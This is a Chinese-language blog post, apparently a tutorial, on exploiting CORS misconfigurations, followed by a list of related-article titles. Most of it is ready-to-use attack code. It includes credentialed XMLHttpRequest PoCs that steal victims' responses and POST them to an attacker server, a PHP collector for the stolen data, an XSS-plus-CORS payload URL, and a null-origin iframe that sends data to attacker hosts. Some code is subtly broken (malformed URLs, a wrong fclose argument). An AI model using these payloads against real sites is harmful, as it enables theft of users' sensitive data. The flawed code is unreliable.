1.同于csrf跨站请求伪造,发送钓鱼链接,读取用户敏感数据。

poc:

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3><div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div><script>
function cors() {var xhttp = new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);}};xhttp.open("GET", "https://target.com/info/", true);xhttp.withCredentials = true;xhttp.send();
}
</script>
</body>
</html>

用户点击button弹出响应信息

document.getElementById("demo").innerHTML = alert(this.responseText);

上面代码只是弹出响应信息,你还可以获取cookie,针对http-only js代码无法读取的情况:

<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
function exploit()
{var xhr1;var xhr2;if(window.XMLHttpRequest){xhr1 = new XMLHttpRequest();xhr2 = new XMLHttpRequest();}else{xhr1 = new ActiveXObject("Microsoft.XMLHTTP");xhr2= new ActiveXObject("Microsoft.XMLHTTP");}xhr1.onreadystatechange=function(){if(xhr1.readyState == 4 && xhr1.status == 200) {var datas=xhr1.responseText;xhr2.open("POST","http://192.168.1.2/test.php","true");xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");xhr2.send("z0="+escape(datas));      }}xhr1.open("GET","http:/192.168.1.1/index.php","true") xhr1.withCredentials = true;        xhr1.send();
}
exploit();
</script>
</html>

搭建的攻击服务器恶意代码 tes.php:

<?php
$file = fopen("secrect.html", "w+");
$res = $_POST['z0'];
fwrite($file, $res);
fclose($res);
?>

2.结合xss漏洞利用cors漏洞,针对http_only js代码无法读取

poc:

function exploit() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {   if (this.status == 200) {   alert(this.responseText);    document.getElementById("demo").innerHTML = this.responseText;   }
};
xhttp.open("GET", "http://192.168.1.1/index.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
exploit();

利用:

http://192.168.1.1/index.php?<script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

同理结合上面代码,发送到你的服务器

3.基于白名单防护的绕过

Origin: null

同上,判断是否支持null

如果支持可以使用iframe跨域请求,绕过

poc:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vuln.com',true);
req.withCredentials = true;
req.send();function reqListener() {
location='your.com/l?get='+this.responseText;
};
</script>'></iframe>

4. 某实例

1)SEMrush CORS misconfig

访问semrush的一个api端点,插入Origin头为攻击者服务器:

返回信息主体是用户敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻击者服务器,这意味着系统存在CORS配置错误。

下一步,构造HTML文件,诱使受害者点击:

点击后,界面将弹出受害者敏感信息:

修改一下reqListener()函数为

location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。

2)redacted子域XSS+ CORSmisconfig

和上面的案例类似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用这个漏洞,必须在子域中寻找一个xss漏洞,结合xss发起请求,最终在banques.redacted.com发现xss:

https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,将alert事件替换为CORS请求:

最终poc为:

成功获取到敏感数据:

3)绕过手段

绕过通常使用如下poc:

http://www.target.local{.<your-domain>/cors-poc

CORS漏洞的利用方式(精)相关推荐

  1. 文件包含漏洞原理/利用方式/应对方案

    原理 用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行 触发点/检测 文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数 include() require() include ...

  2. 【文件包含漏洞03】文件包含漏洞的空字符绕过及六种利用方式

    目录 1 内容简介 本节概述 实验环境 2 空字符绕过 2.1 实验基础知识 2.2 实验环境及准备 2.3 实验步骤 2.3.1 正常访问 2.3.2 空字符绕过 2.3.3 额外的方式 3 利用方 ...

  3. Redis利用方式总结(Linux/Windows)

    原文在这:https://blog.csdn.net/qq_26091745/article/details/117222362?utm_source=app&app_version=4.17 ...

  4. CORS漏洞利用检测和利用方式

    CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访 ...

  5. Wget漏洞(CVE-2016-4971)利用方式解析

    漏洞描述 wget是一个用来入侵Web服务器并拦截敏感数据的计算机程序.它基于shellshock漏洞对目标进行入侵.(FB注释:wget名称的由来是"World Wide Web" ...

  6. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

  7. xss漏洞利用方式总结

    目录 搭建XSS平台 窃取cookie 抓取屏幕截图 重定向 植入广告 恶意链接 获取键盘记录 网页钓鱼 网页挂马 搭建XSS平台 首先,我们需要一个XSS平台,自己搭建一个还是使用在线的都可以,本人 ...

  8. 渗透测试-逻辑漏洞出现场景、利用方式总结

    逻辑漏洞出现场景.利用方式总结 文章目录 逻辑漏洞出现场景.利用方式总结 一.前台模块 二.密码找回模块 三.登录模块 四.业务逻辑层模块 五.案例分享 1.逻辑支付 六.漏洞思考组合拳 1.Self ...

  9. 文件上传漏洞及常见的利用方式

    文章目录 概述 "文件上传"漏洞与"WebShell" 文件上传漏洞的原理 "文件上传漏洞"被利用植入"WebShell" ...

最新文章

  1. 17.SpringMVC核心技术-拦截器
  2. EditText显示明文与密码
  3. 如何使用工具对SAP CRM系统的odata服务进行监控
  4. Github(1)-概览,初始化仓库
  5. Quick Dicom batch editor(DICOM标签浏览编辑器)
  6. FileSystemResource 和 ClassPathResource 有何区别
  7. 有没有一些细分IT行业,没有35岁现象
  8. Maven:IDEA 使用maven 下载源码包
  9. Ubuntu快速配置指南
  10. 取整的计算机语言符号,word取整符号
  11. xp系统计算机怎么设置权限设置,xp系统共享权限如何设置|xp系统共享权限设置方法...
  12. html 播放amr ios,关于iOS设备播放amr格式的音频文件
  13. Electron编译报错:include: could not find: ****StdUtils.nsh“的解决
  14. [组图]国外专家谈游戏制作
  15. 跨域问题的解决-gateway跨域接解决方案,使用CorsWebFilter
  16. android 记录美剧观看进度,[推荐]i看美剧应用:美剧播出、新闻发生提醒直接推送到手机...
  17. 51单片机学习——中断
  18. python自动考勤脚本实现
  19. 王利芬对话蒲易 ——花店如何成为高端电商?_北京_歇会儿网
  20. WordPress常用主题功能函数

热门文章

  1. 推荐我们在B站免费的生信入门基础课程|测序原理,GO/GSEA/WGCNA
  2. 值得思考,机器学习模型做出的决策是你想要的吗?
  3. UCI机器学习数据集
  4. Nature | 我的研究对后人毫无用途:21%的学术论文自发布后从未被引用
  5. 生信分析过程中这些常见文件的格式以及查看方式你都知道吗?
  6. macOS Big Sur Wi-Fi 网络无法连接如何解决
  7. 1.5编程基础之循环控制 01 求平均年龄
  8. 1.5编程基础之循环控制 17:菲波那契数列--刘昕源-2019-06-23
  9. python利用thinker制作多页面切换的桌面应用实例教程
  10. python字典_python字典可变吗